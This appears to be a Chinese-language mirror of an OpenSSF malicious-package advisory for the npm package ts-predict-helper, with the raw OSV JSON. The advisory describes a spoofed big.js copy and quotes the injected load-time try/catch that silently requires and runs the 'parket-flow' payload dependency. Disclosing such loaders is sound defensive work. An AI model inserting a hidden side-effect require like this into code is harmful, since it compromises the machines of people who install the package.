目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%
← 返回恶意软件包
npm active

ts-predict-helper

MAL-2026-6322
2026-06-23 17:05:18
OpenSSF Malicious Packages
该软件包被识别为恶意包。建议隔离受影响环境,并排查凭据泄露和异常网络连接。

Summary

Malicious code in ts-predict-helper (npm)

凭据/密钥窃取
AI 分析整理qwen3.6
基于上游报告生成,请以下方原始证据为准。
公开使用量数据
统计周期
last-week
下载量
2
数据源
npmjs.org
下载量只代表仓库活动度,不等于已被入侵的安装数量。
受影响版本
EcosystemPackageVersion
npmts-predict-helper*
npmts-predict-helper3.7.0
npmts-predict-helper3.7.1
恶意行为说明OpenSSF OSV
上游来源证据
展开原始 OSV JSON
{"modified":"2026-06-23T17:05:18Z","published":"2026-06-23T15:27:33Z","schema_version":"1.7.4","id":"MAL-2026-6322","aliases":["GHSA-mjf5-46pf-x3j7"],"summary":"Malicious code in ts-predict-helper (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (7efbafcedfb49da5093c3972473a549694dd9dd748281a299034c31578db1943)\nPackage is published as `ts-predict-helper` but ships a byte-equivalent copy of big.js v7.0.1's source and README (which states 'No dependencies'), along with spoofed `package.json` metadata pointing at MikeMcl/big.js and naming Michael Mclaughlin as author. Inside the otherwise-verbatim big.js source (around line 530) an injected try/catch block runs at module load: `try { const doc = require(\"parket-flow\"); doc.from_str().then(e => { }).catch(e => { }) } catch (error) { }`. The package declares an undisclosed runtime dependency on `parket-flow` ^3.0.1, which is unrelated to arbitrary-precision arithmetic and is the actual payload carrier. Any consumer who installs `ts-predict-helper` (e.g. via a copy-pasted install snippet) and `require()`s it will silently pull `parket-flow` into their dependency tree and invoke its `from_str()` API in-process, with all errors swallowed to hide failure. The combination of identity spoofing (verbatim README/source/author/repo metadata under an unrelated package name) and a hidden side-effect require at load time is a textbook trojan-loader supply-chain pattern; whatever code `parket-flow` ships executes in the installer's Node.js process.\n\n## Source: ghsa-malware (004f4fa9462c6d9a1c43590fa685757267eb90905ab2cb17c0af20f082ae9913)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"ecosystem":"npm","name":"ts-predict-helper"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["3.7.1","3.7.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"big.js","sha256":"f53e21c5f0b91ea99ea861fb7eec48d15038692db83630cb8fdc099f94b7c503","tlsh":"08c2658c3ac67579593363788f4a5088eb38525712c8b186b4ae63b46f78cb107b5fdc"},{"path":"package.json","sha256":"0da91a0b74de81145798a608443ad0a388fc9feb6e5fc46c3654864e83bf5b85","tlsh":"9b21f263c9a19da70af85b94bc6c03aaf1161b1f40a05c5bb07b130c4b7355b2096b79"}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/ts-predict-helper/v/3.7.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/ts-predict-helper/v/3.7.0"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-mjf5-46pf-x3j7"}],"credits":[{"name":"Amazon Inspector","type":"FINDER","contact":["inspector-research@amazon.com"]}],"database_specific":{"malicious-packages-origins":[{"source":"amazon-inspector","sha256":"47f41119c32d08f0399281ce4747c29907ce1ec9ebca0fa09ccdb8da9cce09e7","import_time":"2026-06-23T16:54:12.872202659Z","id":"IN-MAL-2026-007265","modified_time":"2026-06-23T16:11:22Z","versions":["3.7.1"]},{"source":"amazon-inspector","sha256":"7efbafcedfb49da5093c3972473a549694dd9dd748281a299034c31578db1943","import_time":"2026-06-23T16:54:13.371043245Z","id":"IN-MAL-2026-007269","modified_time":"2026-06-23T16:11:25Z","versions":["3.7.0"]},{"source":"ghsa-malware","sha256":"004f4fa9462c6d9a1c43590fa685757267eb90905ab2cb17c0af20f082ae9913","import_time":"2026-06-23T17:03:25.707952019Z","id":"GHSA-mjf5-46pf-x3j7","modified_time":"2026-06-23T15:27:34Z","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]}]}}

数据来源:OpenSSF Malicious Packages · Apache-2.0